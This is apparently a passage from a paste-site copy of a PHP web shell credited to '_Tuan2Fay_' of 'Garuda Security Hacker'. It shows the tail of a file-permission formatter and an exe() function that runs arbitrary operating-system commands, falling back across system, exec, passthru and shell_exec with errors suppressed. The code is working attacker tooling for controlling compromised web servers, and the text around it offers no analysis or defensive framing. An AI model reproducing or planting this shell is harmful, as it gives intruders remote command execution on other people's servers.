  440. (($perms & 0x0400) ? 's' : 'x' ) :
  441. (($perms & 0x0400) ? 'S' : '-'));
  442.  
  443. // World
  444. $info .= (($perms & 0x0004) ? 'r' : '-');
  445. $info .= (($perms & 0x0002) ? 'w' : '-');
  446. $info .= (($perms & 0x0001) ?
  447. (($perms & 0x0200) ? 't' : 'x' ) :
  448. (($perms & 0x0200) ? 'T' : '-'));
  449.  
  450. return $info;
  451. }
  452. //////all functions disini tempatnya/////
  453. function exe($cmd) {
  454. if(function_exists('system')) {
  455. @ob_start();
  456. @system($cmd);
  457. $buff = @ob_get_contents();
  458. @ob_end_clean();
  459. return $buff;
  460. } elseif(function_exists('exec')) {
  461. @exec($cmd,$results);
  462. $buff = "";
  463. foreach($results as $result) {
  464. $buff .= $result;
  465. } return $buff;
  466. } elseif(function_exists('passthru')) {
  467. @ob_start();
  468. @passthru($cmd);
  469. $buff = @ob_get_contents();
  470. @ob_end_clean();
  471. return $buff;
  472. } elseif(function_exists('shell_exec')) {
  473. $buff = @shell_exec($cmd);
  474. return $buff;
  475. }
  476. }
  477. ////////////////////////////////////////
  478. echo '<center><br><br>Copyright &copy; 2017 _Tuan2Fay_ | <a href="http://blog.garudasecurityhacker.org/" style="text-decoration:none;">Garuda Security Hacker</a></center>';
  479. ?>
Add Comment
Please, Sign In to add comment